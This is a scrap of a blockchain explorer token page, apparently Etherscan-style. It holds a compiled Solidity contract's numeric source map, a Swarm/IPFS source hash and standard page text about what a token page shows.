;;;;;;;;:24;;:40;;;;:::i;:::-;20495:9;:20;20505:9;20495:20;;;;;;;;;;;;;;;:63;;;;20597:51;20627:17;20645:1;20627:20;;;;;;;;;20597:9;:24;20615:4;20597:24;;;;;;;;;;;;;;;;:28;;:51;;;;:::i;:::-;20570:9;:24;20588:4;20570:24;;;;;;;;;;;;;;;:78;;;;20681:9;20664:35;;20673:6;20664:35;;;20692:6;20664:35;;;;;;;;;;;;;;;;;;20717:4;20710:11;;;20070:657;;;;;:::o;20733:285::-;13905:4;13886:16;;:23;;;;;;;;;;;;;;;;;;20805:25:::1;20822:7;20805:16;:25::i;:::-;20841:23;20868:21;20841:48;;20921:1;20903:15;:19;20900:104;;;20947:18;;;;;;;;;;;20939:36;;:53;20976:15;20939:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;20900:104;13920:1;13951:5:::0;13932:16;;:24;;;;;;;;;;;;;;;;;;20733:285;:::o;19819:130::-;19885:11;;19882:2;19870:11;;19866:3;:15;:18;:30;19851:14;:45;;;;19920:27;19898:17;19916:1;19898:20;;;;;;;;;:49;;;;;;;;;;;19819:130::o;21024:651::-;21150:21;21188:1;21174:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21150:40;;21211:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21201:4;21206:1;21201:7;;;;;;;;;;;;;:32;;;;;;;;;;;21262:4;21244;21249:1;21244:7;;;;;;;;;;;;;:23;;;;;;;;;;;21278:62;21295:4;21310:15;;;;;;;;;;;21328:11;21278:8;:62::i;:::-;21368:15;;;;;;;;;;;:66;;;21449:11;21475:1;21519:4;21546;21582:15;21368:240;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21635:11;;21620:14;:26;;;;21669:2;21657:11;:14;;;;21024:651;;:::o
Swarm Source
ipfs://12e3b191aae9eaa0307adc2556ccbb5e1d110970de84fcb855fb1a9bf5d912fd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.